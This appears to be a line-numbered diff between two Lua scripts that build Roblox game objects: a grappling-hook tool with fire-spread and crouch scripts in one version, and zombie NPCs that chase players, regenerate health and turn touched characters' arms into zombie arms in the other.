2665-
Weld220.Parent = Part141
2665+
2666-
Weld220.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2666+
2667-
Weld221.Name = "BoltWeld"
2667+
2668-
Weld221.Parent = Part141
2668+
Part139.Name = "Spawn Location"
2669-
Weld221.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2669+
Part139.Parent = Model121
2670-
Weld222.Name = "BoltWeld"
2670+
Part139.CFrame = CFrame.new(195.091461, 0.600009978, 241.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
2671-
Weld222.Parent = Part141
2671+
Part139.Orientation = Vector3.new(0, 180, 0)
2672-
Weld222.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2672+
Part139.Position = Vector3.new(195.091461, 0.600009978, 241.48645)
2673-
Weld223.Name = "BoltWeld"
2673+
Part139.Rotation = Vector3.new(-180, 0, -180)
2674-
Weld223.Parent = Part141
2674+
Part139.Color = Color3.new(0.631373, 0.768628, 0.54902)
2675-
Weld223.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2675+
Part139.Size = Vector3.new(6, 1.20000005, 6)
2676-
Weld224.Name = "BoltWeld"
2676+
Part139.BottomSurface = Enum.SurfaceType.Weld
2677-
Weld224.Parent = Part141
2677+
Part139.BrickColor = BrickColor.new("Medium green")
2678-
Weld224.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2678+
2679-
Weld225.Name = "BoltWeld"
2679+
Part139.brickColor = BrickColor.new("Medium green")
2680-
Weld225.Parent = Part141
2680+
Decal140.Parent = Part139
2681-
Weld225.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2681+
Decal140.Texture = "http://www.roblox.com/asset/?id=34541722"
2682-
Weld226.Name = "BoltWeld"
2682+
Decal140.Face = Enum.NormalId.Top
2683-
Weld226.Parent = Part141
2683+
Model141.Parent = Model0
2684-
Weld226.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2684+
Model142.Name = "Zombie"
2685-
Weld227.Name = "BoltWeld"
2685+
Model142.Parent = Model141
2686-
Weld227.Parent = Part141
2686+
Model142.PrimaryPart = Part143
2687-
Weld227.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2687+
Part143.Name = "Head"
2688-
Weld228.Name = "BoltWeld"
2688+
Part143.Parent = Model142
2689-
Weld228.Parent = Part141
2689+
Part143.CFrame = CFrame.new(195.591461, 6.09995508, 229.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2690-
Weld228.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2690+
Part143.Orientation = Vector3.new(0, 90, 0)
2691-
Weld229.Name = "BoltWeld"
2691+
Part143.Position = Vector3.new(195.591461, 6.09995508, 229.48645)
2692-
Weld229.Parent = Part141
2692+
Part143.Rotation = Vector3.new(0, 90, 0)
2693-
Weld229.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2693+
Part143.Color = Color3.new(0.631373, 0.768628, 0.54902)
2694-
Weld230.Name = "BoltWeld"
2694+
Part143.Size = Vector3.new(2, 1, 1)
2695-
Weld230.Parent = Part141
2695+
Part143.BrickColor = BrickColor.new("Medium green")
2696-
Weld230.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2696+
Part143.TopSurface = Enum.SurfaceType.Smooth
2697-
Weld231.Name = "BoltWeld"
2697+
Part143.brickColor = BrickColor.new("Medium green")
2698-
Weld231.Parent = Part141
2698+
Part143.FormFactor = Enum.FormFactor.Symmetric
2699-
Weld231.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2699+
Part143.formFactor = Enum.FormFactor.Symmetric
2700-
Weld232.Name = "BoltWeld"
2700+
SpecialMesh144.Parent = Part143
2701-
Weld232.Parent = Part141
2701+
SpecialMesh144.Scale = Vector3.new(1.25, 1.25, 1.25)
2702-
Weld232.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2702+
Decal145.Name = "face"
2703-
Weld233.Name = "BoltWeld"
2703+
Decal145.Parent = Part143
2704-
Weld233.Parent = Part141
2704+
Part146.Name = "Torso"
2705-
Weld233.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2705+
Part146.Parent = Model142
2706-
Weld234.Name = "BoltWeld"
2706+
Part146.CFrame = CFrame.new(195.591461, 4.59995508, 229.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
2707-
Weld234.Parent = Part141
2707+
Part146.Orientation = Vector3.new(0, 90, 0)
2708-
Weld234.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2708+
Part146.Position = Vector3.new(195.591461, 4.59995508, 229.48645)
2709-
SpecialMesh235.Parent = Part141
2709+
Part146.Rotation = Vector3.new(0, 90, 0)
2710-
SpecialMesh235.MeshId = "http://www.roblox.com/asset/?id=30308256"
2710+
Part146.Color = Color3.new(0.411765, 0.25098, 0.156863)
2711-
SpecialMesh235.Scale = Vector3.new(0.400000006, 0.400000006, 0.400000006)
2711+
Part146.Size = Vector3.new(2, 2, 1)
2712-
SpecialMesh235.TextureId = "http://www.roblox.com/asset/?id=30307531"
2712+
Part146.BrickColor = BrickColor.new("Reddish brown")
2713-
SpecialMesh235.MeshType = Enum.MeshType.FileMesh
2713+
Part146.LeftParamA = 0
2714-
Weld236.Name = "BoltWeld"
2714+
Part146.LeftParamB = 0
2715-
Weld236.Parent = Part141
2715+
Part146.LeftSurface = Enum.SurfaceType.Weld
2716-
Weld236.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2716+
Part146.RightParamA = 0
2717-
Weld237.Name = "BoltWeld"
2717+
Part146.RightParamB = 0
2718-
Weld237.Parent = Part141
2718+
Part146.RightSurface = Enum.SurfaceType.Weld
2719-
Weld237.C1 = CFrame.new(0.129999995, -0.0700000003, 0.899999976, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2719+
Part146.brickColor = BrickColor.new("Reddish brown")
2720-
Weld237.Part0 = Part141
2720+
Part146.FormFactor = Enum.FormFactor.Symmetric
2721-
Weld237.Part1 = Part251
2721+
Part146.formFactor = Enum.FormFactor.Symmetric
2722-
Weld237.part1 = Part251
2722+
Part147.Name = "Left Leg"
2723-
Weld238.Name = "BoltWeld"
2723+
Part147.Parent = Model142
2724-
Weld238.Parent = Part141
2724+
Part147.CFrame = CFrame.new(195.591461, 2.59995508, 229.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2725-
Weld238.C1 = CFrame.new(0.129999995, -0.0700000003, 0.899999976, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2725+
Part147.Orientation = Vector3.new(0, 90, 0)
2726-
Weld238.Part0 = Part141
2726+
Part147.Position = Vector3.new(195.591461, 2.59995508, 229.98645)
2727-
Weld238.Part1 = Part251
2727+
Part147.Rotation = Vector3.new(0, 90, 0)
2728-
Weld238.part1 = Part251
2728+
Part147.Color = Color3.new(0.411765, 0.25098, 0.156863)
2729-
Weld239.Name = "BoltWeld"
2729+
Part147.Size = Vector3.new(1, 2, 1)
2730-
Weld239.Parent = Part141
2730+
Part147.BottomSurface = Enum.SurfaceType.Smooth
2731-
Weld239.C1 = CFrame.new(0.129999995, -0.0700000003, 0.899999976, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2731+
Part147.BrickColor = BrickColor.new("Reddish brown")
2732-
Weld239.Part0 = Part141
2732+
Part147.CanCollide = false
2733-
Weld239.Part1 = Part251
2733+
Part147.brickColor = BrickColor.new("Reddish brown")
2734-
Weld239.part1 = Part251
2734+
Part147.FormFactor = Enum.FormFactor.Symmetric
2735-
Weld240.Name = "BoltWeld"
2735+
Part147.formFactor = Enum.FormFactor.Symmetric
2736-
Weld240.Parent = Part141
2736+
Part148.Name = "Right Leg"
2737-
Weld240.C1 = CFrame.new(0.129999995, -0.0700000003, 0.899999976, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2737+
Part148.Parent = Model142
2738-
Weld240.Part0 = Part141
2738+
Part148.CFrame = CFrame.new(195.591461, 2.59995508, 228.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2739-
Weld240.Part1 = Part251
2739+
Part148.Orientation = Vector3.new(0, 90, 0)
2740-
Weld240.part1 = Part251
2740+
Part148.Position = Vector3.new(195.591461, 2.59995508, 228.98645)
2741-
Fire241.Parent = Part141
2741+
Part148.Rotation = Vector3.new(0, 90, 0)
2742-
Fire241.Color = Color3.new(1, 0.72549, 0)
2742+
Part148.Color = Color3.new(0.411765, 0.25098, 0.156863)
2743-
Fire241.Enabled = false
2743+
Part148.Size = Vector3.new(1, 2, 1)
2744-
Fire241.Size = 30
2744+
Part148.BottomSurface = Enum.SurfaceType.Smooth
2745-
Fire241.Heat = 25
2745+
Part148.BrickColor = BrickColor.new("Reddish brown")
2746-
Fire241.SecondaryColor = Color3.new(1, 0, 0)
2746+
Part148.CanCollide = false
2747-
Fire241.size = 30
2747+
Part148.brickColor = BrickColor.new("Reddish brown")
2748-
Script242.Name = "Spread"
2748+
Part148.FormFactor = Enum.FormFactor.Symmetric
2749-
Script242.Parent = Fire241
2749+
Part148.formFactor = Enum.FormFactor.Symmetric
2750-
table.insert(cors,sandbox(Script242,function()
2750+
Humanoid149.Parent = Model142
2751-
function Spread(part)
2751+
Humanoid149.LeftLeg = Part147
2752-
	check = part:findFirstChild("Fire")
2752+
Humanoid149.NameOcclusion = Enum.NameOcclusion.NoOcclusion
2753-
		if check == nil then 
2753+
Humanoid149.RightLeg = Part148
2754-
	script.Parent:Clone().Parent = part
2754+
Humanoid149.Torso = Part146
2755-
	
2755+
Part150.Name = "zarm"
2756-
		elseif check ~= nil then
2756+
Part150.Parent = Model142
2757-
	check.Size = check.Size + 1
2757+
Part150.CFrame = CFrame.new(195.091461, 5.09995508, 230.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
2758-
	check.Heat = check.Heat  +1
2758+
Part150.Orientation = Vector3.new(0, 180, 0)
2759
Part150.Position = Vector3.new(195.091461, 5.09995508, 230.98645)
2760
Part150.Rotation = Vector3.new(-180, 0, -180)
2761
Part150.Color = Color3.new(0.631373, 0.768628, 0.54902)
2762
Part150.Size = Vector3.new(2, 1, 1)
2763-
script.Parent.Parent.Touched:connect(Spread)
2763+
Part150.BottomSurface = Enum.SurfaceType.Smooth
2764
Part150.BrickColor = BrickColor.new("Medium green")
2765
Part150.TopSurface = Enum.SurfaceType.Smooth
2766-
Weld243.Name = "BoltWeld"
2766+
Part150.brickColor = BrickColor.new("Medium green")
2767-
Weld243.Parent = Part141
2767+
Part150.FormFactor = Enum.FormFactor.Symmetric
2768-
Weld243.C1 = CFrame.new(0.129999995, -0.0700000003, 0.899999976, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2768+
Part150.formFactor = Enum.FormFactor.Symmetric
2769-
Weld243.Part0 = Part141
2769+
Script151.Parent = Part150
2770-
Weld243.Part1 = Part251
2770+
table.insert(cors,sandbox(Script151,function()
2771-
Weld243.part1 = Part251
2771+
wait(1)
2772-
Weld244.Name = "BoltWeld"
2772+
owner=script.Parent.Parent.Name
2773-
Weld244.Parent = Part141
2773+
2774-
Weld244.C1 = CFrame.new(0.129999995, -0.0700000003, 0.899999976, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2774+
function onTouched(part)
2775-
Weld244.Part0 = Part141
2775+
	if part.Parent ~= nil then
2776-
Weld244.Part1 = Part251
2776+
		local h = part.Parent:findFirstChild("Humanoid")
2777-
Weld244.part1 = Part251
2777+
			if h~=nil then
2778-
Weld245.Name = "BoltWeld"
2778+
				if cantouch~=0 then
2779-
Weld245.Parent = Part141
2779+
					if h.Parent.Name~=owner then
2780-
Weld245.C1 = CFrame.new(0.129999995, -0.0700000003, 0.899999976, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2780+
						
2781-
Weld245.Part0 = Part141
2781+
						if h.Parent:findFirstChild("zarm")~=nil then return end
2782-
Weld245.Part1 = Part251
2782+
2783-
Weld245.part1 = Part251
2783+
						cantouch=0
2784-
RotateP246.Name = "d��������������ng.........you got owned..."
2784+
2785-
RotateP246.Parent = Tool140
2785+
						local larm=h.Parent:findFirstChild("Left Arm")
2786-
RotateP246.BaseAngle = 0.25
2786+
						local rarm=h.Parent:findFirstChild("Right Arm")
2787-
SpecialMesh247.Parent = Tool140
2787+
						
2788-
SpecialMesh247.Scale = Vector3.new(0.5, 1, 0.5)
2788+
						if larm~=nil then
2789-
Script248.Name = "WeldScript"
2789+
							larm:remove()
2790-
Script248.Parent = Tool140
2790+
						end
2791-
table.insert(cors,sandbox(Script248,function()
2791+
						if rarm~=nil then
2792-
w2 = Instance.new("Weld")
2792+
							rarm:remove()
2793-
w2.Name = "BoltWeld" 
2793+
						end
2794-
w2.Parent = script.Parent.Handle 
2794+
						local zee=script.Parent.Parent:findFirstChild("zarm")
2795-
w2.Part0 = script.Parent.Handle 
2795+
						if zee~=nil then
2796-
w2.Part1 = script.Parent.Bolt 
2796+
							local zlarm=zee:clone()
2797-
w2.C1 = CFrame.new(0.13,-0.07,0.9)
2797+
							local zrarm=zee:clone()
2798
							if zlarm~=nil then
2799
2800
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
2801-
LocalScript249.Name = "Local Gui"
2801+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
2802-
LocalScript249.Parent = Tool140
2802+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
2803-
table.insert(cors,sandbox(LocalScript249,function()
2803+
								zlarm.Parent=h.Parent
2804-
local maxDistance = 5000
2804+
								zrarm.Parent=h.Parent
2805-
local canFireWhileGrappling = true
2805+
								zlarm:makeJoints()
2806
								zrarm:makeJoints()
2807
								zlarm.Anchored=false
2808-
local Tool = script.Parent;
2808+
								zrarm.Anchored=false
2809-
local torso = nil
2809+
								wait(0.1)
2810-
local human = nil
2810+
								h.Parent.Head.Color=zee.Color
2811-
local bolt = nil
2811+
							else print("no zee"); return end
2812-
local targetPos = Vector3.new(0,0,0)
2812+
						end
2813-
local boltconnect = nil
2813+
						wait(1)
2814-
local holdweld = nil
2814+
						cantouch=1
2815
					end
2816-
local rope = Instance.new("Part")
2816+
				end
2817-
rope.BrickColor = BrickColor.new("Black")
2817+
2818-
rope.TopSurface = 0
2818+
2819-
rope.BottomSurface = 0
2819+
2820-
rope.formFactor = "Symmetric"
2820+
2821-
rope.Name = "Rope"
2821+
2822-
rope.CanCollide = false
2822+
2823-
rope.Anchored = true
2823+
Part152.Name = "zarm"
2824-
local mesh = Instance.new("CylinderMesh")
2824+
Part152.Parent = Model142
2825-
mesh.Parent = rope
2825+
Part152.CFrame = CFrame.new(195.091461, 5.09995508, 227.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
2826-
mesh.Scale = Vector3.new(0.1,1,0.1)
2826+
Part152.Orientation = Vector3.new(0, 180, 0)
2827
Part152.Position = Vector3.new(195.091461, 5.09995508, 227.98645)
2828-
local bodyPos = Instance.new("BodyPosition")
2828+
Part152.Rotation = Vector3.new(-180, 0, -180)
2829-
bodyPos.D = 1e+003
2829+
Part152.Color = Color3.new(0.631373, 0.768628, 0.54902)
2830-
bodyPos.P = 3e+003
2830+
Part152.Size = Vector3.new(2, 1, 1)
2831-
bodyPos.maxForce = Vector3.new(1e+006, 1e+006, 1e+006)
2831+
Part152.BottomSurface = Enum.SurfaceType.Smooth
2832
Part152.BrickColor = BrickColor.new("Medium green")
2833-
local bodyGyro = Instance.new("BodyGyro")
2833+
Part152.TopSurface = Enum.SurfaceType.Smooth
2834-
bodyGyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
2834+
Part152.brickColor = BrickColor.new("Medium green")
2835
Part152.FormFactor = Enum.FormFactor.Symmetric
2836-
function adjustRope()
2836+
Part152.formFactor = Enum.FormFactor.Symmetric
2837-
	if rope.Parent == nil  or bolt == nil then return end
2837+
Script153.Parent = Part152
2838-
	local pos1 = Tool.Bolt.Position
2838+
table.insert(cors,sandbox(Script153,function()
2839-
	local pos2 = bolt.Position
2839+
wait(1)
2840-
	rope.Size = Vector3.new(0, 1, 0)
2840+
owner=script.Parent.Parent.Name
2841-
	rope.Mesh.Scale = Vector3.new(0.1, (pos1-pos2).magnitude, 0.1)
2841+
2842-
	rope.CFrame = CFrame.new((pos1 + pos2)/2, pos2) * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,0)
2842+
function onTouched(part)
2843
	if part.Parent ~= nil then
2844
		local h = part.Parent:findFirstChild("Humanoid")
2845-
function onBoltHit(hit)
2845+
			if h~=nil then
2846-
	if bolt == nil or hit == rope or bolt.Name ~= "Bolt" or hit.Parent == Tool or hit.Parent == Tool.Parent or hit.Parent.Parent == Tool.Parent or hit.Parent.Name == "Attached Bolt" then return end
2846+
				if cantouch~=0 then
2847-
	if (bolt.Position - torso.Position).magnitude > maxDistance then bolt.Parent = nil bolt = nil return end
2847+
					if h.Parent.Name~=owner then
2848-
	bolt.Name = "Attached Bolt"
2848+
						
2849-
	local boltFrame = CFrame.new(hit.Position)
2849+
						if h.Parent:findFirstChild("zarm")~=nil then return end
2850
2851-
	local C0 = hit.CFrame:inverse() * boltFrame
2851+
						cantouch=0
2852-
	local C1 = bolt.CFrame:inverse() * boltFrame
2852+
2853-
	local weld = Instance.new("Weld")
2853+
						local larm=h.Parent:findFirstChild("Left Arm")
2854-
	weld.Part0 = hit
2854+
						local rarm=h.Parent:findFirstChild("Right Arm")
2855-
	weld.Part1 = bolt
2855+
						
2856-
	weld.C0 = C0
2856+
						if larm~=nil then
2857-
	weld.C1 = C1
2857+
							larm:remove()
2858-
	weld.Parent = bolt
2858+
						end
2859
						if rarm~=nil then
2860-
	bolt.HitSound:play()
2860+
							rarm:remove()
2861-
	local backupbolt = bolt
2861+
						end
2862-
	wait(0.4)
2862+
						local zee=script.Parent.Parent:findFirstChild("zarm")
2863-
	if bolt == nil or bolt ~= backupbolt then return end
2863+
						if zee~=nil then
2864-
	bolt.ConnectSound:play()
2864+
							local zlarm=zee:clone()
2865-
	Tool.Handle.ConnectSound:play()
2865+
							local zrarm=zee:clone()
2866
							if zlarm~=nil then
2867-
	targetPos = bolt.Position
2867+
2868-
	backupPos = bolt.Position
2868+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
2869
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
2870-
	bodyPos.position = targetPos
2870+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
2871-
	bodyPos.Parent = Tool.Bolt
2871+
								zlarm.Parent=h.Parent
2872-
	bodyGyro.cframe = torso.CFrame
2872+
								zrarm.Parent=h.Parent
2873-
	bodyGyro.Parent = torso
2873+
								zlarm:makeJoints()
2874
								zrarm:makeJoints()
2875-
	while targetPos == backupPos and bolt ~= nil do
2875+
								zlarm.Anchored=false
2876-
		bodyPos.position = bolt.Position
2876+
								zrarm.Anchored=false
2877-
		wait()
2877+
								wait(0.1)
2878
								h.Parent.Head.Color=zee.Color
2879-
	--script.Parent.Bolt.Transparency =  0
2879+
							else print("no zee"); return end
2880
						end
2881
						wait(1)
2882-
enabled = true
2882+
						cantouch=1
2883
					end
2884-
function onButton1Down(mouse)
2884+
				end
2885
			end
2886-
	if not enabled then return end
2886+
2887
end
2888-
	if bolt ~= nil and not canFireWhileGrappling then return end
2888+
2889-
	if bolt ~= nil then
2889+
2890-
		if boltconnect ~= nil then
2890+
2891-
			print("Disconnecting")
2891+
ObjectValue154.Name = "IsNZ"
2892-
			boltconnect:disconnect()
2892+
ObjectValue154.Parent = Model142
2893
IntValue155.Name = "Mode"
2894-
		bolt:remove()
2894+
IntValue155.Parent = Model142
2895-
		targetPos = Vector3.new(0,0,0)
2895+
Script156.Parent = Model142
2896
table.insert(cors,sandbox(Script156,function()
2897
local larm = script.Parent:FindFirstChild("Left Arm")
2898-
	Tool.Handle.FireSound:play()
2898+
local rarm = script.Parent:FindFirstChild("Right Arm")
2899
2900-
	script.Parent.Bolt.Transparency = 1
2900+
function findNearestTorso(pos)
2901
	local list = game.Workspace:children()
2902-
	enabled = false
2902+
	local torso = nil
2903
	local dist = 1000
2904-
	mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"
2904+
	local temp = nil
2905
	local human = nil
2906-
	bolt = Tool.Bolt:clone()
2906+
	local temp2 = nil
2907-
	bolt.CFrame = CFrame.new(Tool.Bolt.Position + (mouse.Hit.p - Tool.Bolt.Position).unit * 5,mouse.Hit.p) * CFrame.fromEulerAnglesXYZ(0,math.pi,0)
2907+
	for x = 1, #list do
2908-
	bolt.Transparency = 0
2908+
		temp2 = list[x]
2909-
	bolt.CanCollide = false
2909+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
2910-
	bolt.Velocity = bolt.CFrame.lookVector * -70
2910+
			temp = temp2:findFirstChild("Right Arm")
2911-
	if bolt:findFirstChild("BodyPosition") ~= nil then
2911+
			human = temp2:findFirstChild("Humanoid")
2912-
		bolt.BodyPosition:remove()
2912+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
2913
				if (temp.Position - pos).magnitude < dist then
2914-
	local force = Instance.new("BodyForce")
2914+
					torso = temp
2915-
	force.force = Vector3.new(0,78,0)
2915+
					dist = (temp.Position - pos).magnitude
2916-
	force.Parent = bolt
2916+
				end
2917-
	bolt.Parent = workspace
2917+
2918-
	boltconnect = bolt.AncestryChanged:connect(function() onKeyDown("q") end)
2918+
2919-
	bolt.Touched:connect(onBoltHit)
2919+
2920
	return torso
2921-
	rope.Parent = Tool
2921+
2922
2923-
	bolt.Parent = workspace
2923+
2924
2925-
	wait(2)
2925+
2926-
	--script.Parent.Bolt.Transparency =  0
2926+
2927
	wait(math.random(1,5))
2928-
	mouse.Icon = "rbxasset://textures\\GunCursor.png"
2928+
	local target = findNearestTorso(script.Parent.Torso.Position)
2929
	if target ~= nil then
2930-
	enabled = true
2930+
		script.Parent.Humanoid:MoveTo(target.Position, target)
2931
	end
2932
2933-
function onKeyDown(key)
2933+
2934-
	key = key:lower()
2934+
2935-
	if key == "q" then
2935+
2936-
		human.Sit = false
2936+
Script157.Name = "Health"
2937-
		rope.Parent = nil
2937+
Script157.Parent = Model142
2938-
		bodyPos.Parent = nil
2938+
table.insert(cors,sandbox(Script157,function()
2939-
		bodyGyro.Parent = nil
2939+
function waitForChild(parent, childName)
2940-
		if bolt ~= nil then
2940+
	while true do
2941-
			bolt.Parent = nil
2941+
		local child = parent:findFirstChild(childName)
2942
		if child then
2943-
		if holdweld ~= nil then
2943+
2944-
			holdweld.Parent = nil
2944+
2945
		parent.ChildAdded:wait()
2946-
		holdweld = nil
2946+
2947-
		bolt = nil
2947+
2948-
		script.Parent.Bolt.Transparency =  0
2948+
2949
-- declarations
2950
2951
local Figure = script.Parent
2952-
function getHumanoid(obj)
2952+
local Head = waitForChild(Figure, "Head")
2953-
	for i,child in pairs(obj:getChildren()) do
2953+
local Humanoid = waitForChild(Figure, "Humanoid")
2954-
		if child.className == "Humanoid" then
2954+
Humanoid.Health=500
2955
-- regeneration
2956
while true do
2957
	local s = wait(4)
2958
	local health = Humanoid.Health
2959
	if health > 0 and health < Humanoid.MaxHealth then
2960-
function onEquippedLocal(mouse)
2960+
		health = health + 0.08 * s * Humanoid.MaxHealth
2961-
	if mouse == nil then
2961+
		if health * 1.05 < Humanoid.MaxHealth then
2962-
		print("Mouse not found")
2962+
			Humanoid.Health = health
2963-
		return 
2963+
		else
2964
			Humanoid.Health = Humanoid.MaxHealth
2965
		end
2966-
	torso = Tool.Parent:findFirstChild("Torso")
2966+
2967-
	human = getHumanoid(Tool.Parent)
2967+
2968-
	if torso == nil or human == nil then return end
2968+
2969-
	human.Jumping:connect(function() onKeyDown("q") end)
2969+
2970
Script158.Name = "Respawn"
2971-
	mouse.Icon = "rbxasset://textures\\GunCursor.png"
2971+
Script158.Parent = Model142
2972-
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
2972+
table.insert(cors,sandbox(Script158,function()
2973-
	mouse.KeyDown:connect(onKeyDown)
2973+
name="Humanoid"
2974
2975
robo=script.Parent:clone()
2976
2977
while true do
2978
	wait(1)
2979
	if script.Parent.Humanoid.Health<1 then
2980-
Tool.Equipped:connect(onEquippedLocal)
2980+
		robot=robo:clone()
2981-
Tool.Unequipped:connect(function() onKeyDown("q") end)
2981+
		robot.Parent=script.Parent.Parent
2982
		robot:makeJoints()
2983
		script.Parent:remove()
2984-
	adjustRope()
2984+
2985-
	wait()
2985+
2986
		
2987
2988
2989-
LocalScript250.Name = "Crouch"
2989+
2990-
LocalScript250.Parent = Tool140
2990+
2991-
table.insert(cors,sandbox(LocalScript250,function()
2991+
Part159.Name = "Spawn Location"
2992-
on = 0
2992+
Part159.Parent = Model141
2993-
Tool = script.Parent
2993+
Part159.CFrame = CFrame.new(195.091461, 0.600009978, 229.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
2994-
welds = {}
2994+
Part159.Orientation = Vector3.new(0, 180, 0)
2995-
sh = {}
2995+
Part159.Position = Vector3.new(195.091461, 0.600009978, 229.48645)
2996-
arms = nil
2996+
Part159.Rotation = Vector3.new(-180, 0, -180)
2997-
torso = nil
2997+
Part159.Color = Color3.new(0.631373, 0.768628, 0.54902)
2998-
f = nil
2998+
Part159.Size = Vector3.new(6, 1.20000005, 6)
2999-
function Crouch(ison)
2999+
Part159.BottomSurface = Enum.SurfaceType.Weld
3000-
if arms == nil and torso == nil then
3000+
Part159.BrickColor = BrickColor.new("Medium green")
3001-
arms = {Tool.Parent:FindFirstChild("Left Leg"), Tool.Parent:FindFirstChild("Right Leg")}
3001+
Part159.TopSurface = Enum.SurfaceType.Smooth
3002-
torso = Tool.Parent:FindFirstChild("Torso")
3002+
Part159.brickColor = BrickColor.new("Medium green")
3003
Decal160.Parent = Part159
3004-
if arms ~= nil and torso ~= nil then
3004+
Decal160.Texture = "http://www.roblox.com/asset/?id=34541722"
3005-
sh = {torso:FindFirstChild("Left Hip"), torso:FindFirstChild("Right Hip")}
3005+
Decal160.Face = Enum.NormalId.Top
3006-
if sh ~= nil then
3006+
Model161.Parent = Model0
3007-
local yes = true
3007+
Model162.Name = "Zombie"
3008-
if yes then
3008+
Model162.Parent = Model161
3009-
yes = false
3009+
Model162.PrimaryPart = Part163
3010-
if ison == 1 then
3010+
Part163.Name = "Head"
3011-
sh[1].Part1 = nil
3011+
Part163.Parent = Model162
3012-
sh[2].Part1 = nil
3012+
Part163.CFrame = CFrame.new(195.608551, 6.09995508, 235.513428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3013-
local weld1 = Instance.new("Weld")
3013+
Part163.Orientation = Vector3.new(0, 90, 0)
3014-
weld1.Part0 = torso
3014+
Part163.Position = Vector3.new(195.608551, 6.09995508, 235.513428)
3015-
weld1.Parent = torso
3015+
Part163.Rotation = Vector3.new(0, 90, 0)
3016-
weld1.Part1 = arms[1]
3016+
Part163.Color = Color3.new(0.631373, 0.768628, 0.54902)
3017-
weld1.C1 = CFrame.new(-0.5, 0.75, 1)
3017+
Part163.Size = Vector3.new(2, 1, 1)
3018-
arms[1].Name = "LDave"
3018+
Part163.BrickColor = BrickColor.new("Medium green")
3019-
arms[1].CanCollide = true
3019+
Part163.TopSurface = Enum.SurfaceType.Smooth
3020-
welds[1] = weld1
3020+
Part163.brickColor = BrickColor.new("Medium green")
3021-
-------------------------------------------
3021+
Part163.FormFactor = Enum.FormFactor.Symmetric
3022-
local weld2 = Instance.new("Weld")
3022+
Part163.formFactor = Enum.FormFactor.Symmetric
3023-
weld2.Part0 = torso
3023+
SpecialMesh164.Parent = Part163
3024-
weld2.Parent = torso
3024+
SpecialMesh164.Scale = Vector3.new(1.25, 1.25, 1.25)
3025-
weld2.Part1 = arms[2]
3025+
Decal165.Name = "face"
3026-
weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(90),0,0)
3026+
Decal165.Parent = Part163
3027-
arms[2].Name = "RDave"
3027+
Part166.Name = "Torso"
3028-
arms[2].CanCollide = true
3028+
Part166.Parent = Model162
3029-
welds[2] = weld2
3029+
Part166.CFrame = CFrame.new(195.608551, 4.59995508, 235.513428, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
3030-
---------------------------------
3030+
Part166.Orientation = Vector3.new(0, 90, 0)
3031-
local force = Instance.new("BodyForce")
3031+
Part166.Position = Vector3.new(195.608551, 4.59995508, 235.513428)
3032-
force.Parent = torso
3032+
Part166.Rotation = Vector3.new(0, 90, 0)
3033-
f = force
3033+
Part166.Color = Color3.new(0.411765, 0.25098, 0.156863)
3034-
wait(0.01)
3034+
